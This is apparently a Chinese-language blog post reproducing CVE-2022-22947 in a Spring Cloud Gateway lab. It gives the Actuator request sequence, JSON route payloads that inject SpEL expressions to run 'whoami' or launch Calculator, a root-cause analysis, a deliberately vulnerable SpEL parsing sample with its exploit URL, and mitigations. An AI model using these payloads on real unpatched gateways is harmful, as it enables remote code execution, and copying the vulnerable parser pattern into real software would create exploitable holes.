Spring Cloud Gateway 远程代码执行漏洞（CVE-2022-22947）

最新推荐文章于 2023-04-20 13:26:36 发布

耳语吖

最新推荐文章于 2023-04-20 13:26:36 发布

阅读量992

点赞数

分类专栏：漏洞复现文章标签： java 开发语言

本文链接：https://blog.csdn.net/Fiverya/article/details/128635424

版权

漏洞复现专栏收录该内容

7 篇文章 3 订阅

订阅专栏

参考链接：https://blog.csdn.net/xiaobai_20190815/article/details/124045768

http://news.558idc.com/290335.html

Java 安全-手把手教你SPEL表达式注入_4ct10n的博客-CSDN博客_spel注入

一、漏洞描述

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的网关，它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。

3月1日，VMware发布安全公告，Spring Cloud Gateway中存在远程代码执行漏洞（CVE-2022-22947），该漏洞的CVSSv3评分为10.0。当启用或暴露不安全的 Gateway Actuator 端点时，使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击，远程攻击者可以通过发送恶意请求以执行任意代码。

二、影响版本

Spring Cloud Gateway 3.1.0

Spring Cloud Gateway 3.0.0 - 3.0.6

Spring Cloud Gateway 其它不支持的、已不再更新的版本

三、环境搭建

从vulhub下载Vulhub - Docker-Compose file for vulnerability environment漏洞库后，找到CVE-2022-22947直接启动

docker-compose up -d

四、漏洞复现

1、首先，修改GET /actuator请求，确定actuator端口已经开启

2、修改get请求，获取路由信息GET /actuator/gateway/routes/:

当前只有路由index,该路有默认跳转到uri:http://example.com:80

2、然后，构造一个post请求包，POST /actuator/gateway/routes/test 添加一个包含恶意SpEL表达式的路由：

{

"id": "test",

"filters": [

{

"name": "AddResponseHeader",

"args": {

"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",

"name": "cmd"

}

"uri": "http://example.com:80",

"order": 0

}

3、刷新路由，POST /actuator/gateway/refresh

2、获取路由信息GET /actuator/gateway/routes/，新增路由test成功：

3、构造get请求，查看当前路由信息，GET /actuator/gateway/routes/test,检索结果命令执行结果，当前用户为root ：

最后，删除我们前面构造的路由,DELETE /actuator/gateway/routes/test

五、解决方法

1、升级更新到以下版本：

Spring Cloud Gateway >= 3.1.1

Spring Cloud Gateway >= 3.0.7

2、缓解措施：

1.如果不需要Gateway actuator endpoint，可通过 management.endpoint.gateway.enabled: false 禁用它。

2.如果需要actuator，则应使用 Spring Security 对其进行防护，可参考：https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.securit

其实这个漏洞本身是一个SpEL注入，我们尝试在之前的yml配置文件中使用SpEL表达式，我们将filter中的AddResponseHeader 值改为#{1+1}

spring:
  application:
    name: GatewatDemo

  cloud:
    gateway:
      routes:
        - id: "router1"
          uri: "http://127.0.0.1:9223/"
          predicates:
            - Path=/
          filters:
            - AddResponseHeader=Result,#{1+1}

查看返回头，表达式被成功执行：

将表达式替换成恶意的SpEL表达式即可触发RCE，#{T(Runtime).getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")}。

虽然这个地方确实存在SpEL注入，但却很难利用，因为攻击者很难控制目标机器的配置文件，所以利用条件就变成了有没有开启Actuator，且Actuator开启了gateway功能没有配置spring security。

使用动态创建的方法试试。

使用以下payload请求创建路由：

{
  "id": "router2",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{T(Runtime).getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')}"
    }
    
  },{
        "name":"RewritePath",
        "args":{
            "_genkey_0":"/9224",
            "_genkey_1":"/"
        }
    }],
  "uri": "http://127.0.0.1:9224",
  "predicate": "/9224"
}

刷新路由,发现代码成功执行。

原理分析

我们打开spring-cloud-gateway的官网，发现SpEL原本是官方提供的一个引用bean的功能。

我们对exec执行下个断点，观察程序的调用栈。

前面一堆是Reactor的逻辑，因为是异步非阻塞的方式，所以阅读起来有一定门槛。

简单来说，就是当我们请求/actuator/gateway/routes/refresh时会去调用注册在reactor 中的方法，然后请求org.springframework.cloud.gateway.actuate 包中的refresh()方法

后续会将application的上下文传入gateway的逻辑，在处理Filter的逻辑中会对属性字段进行normalizeProperties 操作：

具体逻辑会放入normalize中进行处理，其中第一个参数即为我们自己配置的filter处理逻辑

第三个参数为SpEL的parse。

随后进入ShorcutType中的normalize进行处理，解析key、value进入并将value传入getValue（）：

在getValue中对字符串进行trim操作，同时判断字符串以#{开始并以}结束：

如果满足条件则进入SpEL进行解析，可以看到这里导致能够RCE的原因，使用了StandardEvaluationContext 作为context, 随后对配置文件的value进行标准SpEL解析。

到这里就基本理解了漏洞触发的原因

SPEL 漏洞

该漏洞的漏洞形态类似于命令注入，因此之前该漏洞归为命令注入类。看一下最简单的漏洞样例。

    @RequestMapping("/test")
    @ResponseBody
    public String test(String input){
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(input);
        return expression.getValue().toString();
    }

将输入的参数直接当作表达式解析的参数，在解析过程中将造成命令执行。

http://127.0.0.1:8080/test?input=new%20java.lang.ProcessBuilder(%22/Applications/Calculator.app/Contents/MacOS/Calculator%22).start()

当然也可以采用T() 调用一个类的静态方法，它将返回一个 Class Object，然后再调用相应的方法或属性，也是可以是想相同的功能。

ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"open /Applications/Calculator.app\")");
Object value = exp.getValue();